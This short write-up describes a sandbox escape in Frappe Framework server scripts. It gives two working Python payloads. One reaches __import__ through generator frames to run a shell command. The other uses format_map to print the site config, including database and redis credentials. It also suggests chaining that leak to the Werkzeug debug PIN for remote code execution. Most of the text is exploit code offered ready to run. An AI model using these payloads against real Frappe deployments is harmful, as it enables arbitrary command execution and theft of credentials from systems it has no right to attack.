Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.

Requirements:
- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.

```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
for x in g:0
```

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:

```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.
